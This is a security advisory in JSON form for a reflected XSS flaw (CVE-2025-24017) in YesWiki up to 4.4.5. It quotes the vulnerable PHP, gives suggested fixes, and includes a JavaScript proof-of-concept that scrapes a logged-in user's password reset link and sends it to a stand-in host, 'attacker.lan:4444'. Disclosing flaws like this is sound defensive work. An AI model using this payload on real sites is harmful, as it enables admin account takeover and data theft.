Unauthenticated DOM Based XSS in YesWiki <= 4.4.5

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-21T20:08:37Z",
    "nvd_published_at": "2025-01-21T16:15:15Z",
    "severity": "HIGH"
  },
  "details": "# Unauthenticated DOM Based XSS in YesWiki \u003c= 4.4.5\n\n### Summary\nIt is possible for any end-user to craft a DOM based XSS on all of YesWiki\u0027s pages which will be triggered when a user clicks on a malicious link.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the search by tag feature. When a tag doesn\u0027t exist, the tag is reflected on the page and isn\u0027t properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client\u0027s side when clicked. \n\nThis part of the code is managed by `tools/tags/handlers/page/listpages.php`, and **[this piece of code](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L84)** is responsible for the vulnerability:\n\n```php\n$output .= \u0027\u003cdiv class=\"alert alert-info\"\u003e\u0027 . \"\\n\";\nif ($nb_total \u003e 1) {\n    $output .= _t(\u0027TAGS_TOTAL_NB_PAGES\u0027, [\u0027nb_total\u0027 =\u003e $nb_total]);\n} elseif ($nb_total == 1) {\n    $output .= _t(\u0027TAGS_ONE_PAGE_FOUND\u0027);\n} else {\n    $output .= _t(\u0027TAGS_NO_PAGE\u0027);\n}\n$output .= (!empty($tab_selected_tags) ? \u0027 \u0027 . _t(\u0027TAGS_WITH_KEYWORD\u0027) . \u0027 \u0027 . implode(\u0027 \u0027 . _t(\u0027TAGS_WITH_KEYWORD_SEPARATOR\u0027) . \u0027 \u0027, array_map(function ($tagName) {\n    return \u0027\u003cspan class=\"tag-label label label-info\"\u003e\u0027 . $tagName . \u0027\u003c/span\u003e\u0027;\n}, $tab_selected_tags)) : \u0027\u0027) . \u0027.\u0027;\n$output .= $this-\u003eFormat(\u0027{{rss tags=\"\u0027 . $tags . \u0027\" class=\"pull-right\"}}\u0027) . \"\\n\";\n$output .= \u0027\u003c/div\u003e\u0027 . \"\\n\" . $text;\n\necho $this-\u003eHeader();\necho \"\u003cdiv class=\\\"page\\\"\u003e\\n$output\\n$outputselecttag\\n\u003chr class=\\\"hr_clear\\\" /\u003e\\n\u003c/div\u003e\\n\";\necho $this-\u003eFooter();\n```\n\nThe tag names aren\u0027t properly sanitized when adding them to the page\u0027s response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn\u0027t exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.\n\n### PoC\n#### 1. Simple XSS\nAbusing the `tags` parameter, we can successfully obtain client side javascript execution:\n\n![poc1](https://github.com/user-attachments/assets/cfd59dd6-ebda-4587-b903-d2777fc7d780)\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch(\u0027/?ParametresUtilisateur\u0027)\n  .then(response =\u003e {\n    return response.text();\n  })\n  .then(htmlString =\u003e {\n    const parser = new DOMParser();\n    const doc = parser.parseFromString(htmlString, \u0027text/html\u0027);\n    const resetLinkElement = doc.querySelector(\u0027.control-group .controls a\u0027); //dirty\n    fetch(\u0027http://attacker.lan:4444/?xss=\u0027.concat(btoa(resetLinkElement.href)));\n  })\n```\n\nHosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.\n\n![poc2](https://github.com/user-attachments/assets/02884697-f0a5-43df-8bab-d83f8c9a102d)\n![poc3](https://github.com/user-attachments/assets/ef5b44f1-97bb-4cf1-a32b-471f8c672ebd)\n![poc4](https://github.com/user-attachments/assets/6a0193a2-1a01-4c65-bd97-f7c900f7f174)\n\n### Impact\nThis vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the tag names when created [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/services/TagsManager.php#L60)\n\n```php\n        foreach ($tags as $tag) {\n            trim($tag);\n            if ($tag != \u0027\u0027) {\n                if (!$this-\u003etripleStore-\u003eexist($page, \u0027http://outils-reseaux.org/_vocabulary/tag\u0027, htmlspecialchars($tag), \u0027\u0027, \u0027\u0027)) {\n                    $this-\u003etripleStore-\u003ecreate($page, \u0027http://outils-reseaux.org/_vocabulary/tag\u0027, htmlspecialchars($tag), \u0027\u0027, \u0027\u0027);\n                }\n                //on supprime ce tag du tableau des tags restants a effacer\n                if (isset($tags_restants_a_effacer)) {\n                    unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);\n                }\n            }\n        }\n```\n\n- Sanitize the tag names when looked for [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L15)\n\n```php\n//$tags = (isset($_GET[\u0027tags\u0027])) ? $_GET[\u0027tags\u0027] : \u0027\u0027;\n$tags = (isset($_GET[\u0027tags\u0027])) ? htmlspecialchars($_GET[\u0027tags\u0027]) : \u0027\u0027;\n```\n\n- Implement a stronger password reset mechanism through:\n  + Not showing a password reset link to an already logged-in user. \n  + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n  + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n\u003e The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.",
  "id": "GHSA-wphc-5f2j-jhvg",
  "modified": "2025-01-21T20:08:37Z",
  "published": "2025-01-21T20:08:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wphc-5f2j-jhvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unauthenticated DOM Based XSS in YesWiki"
}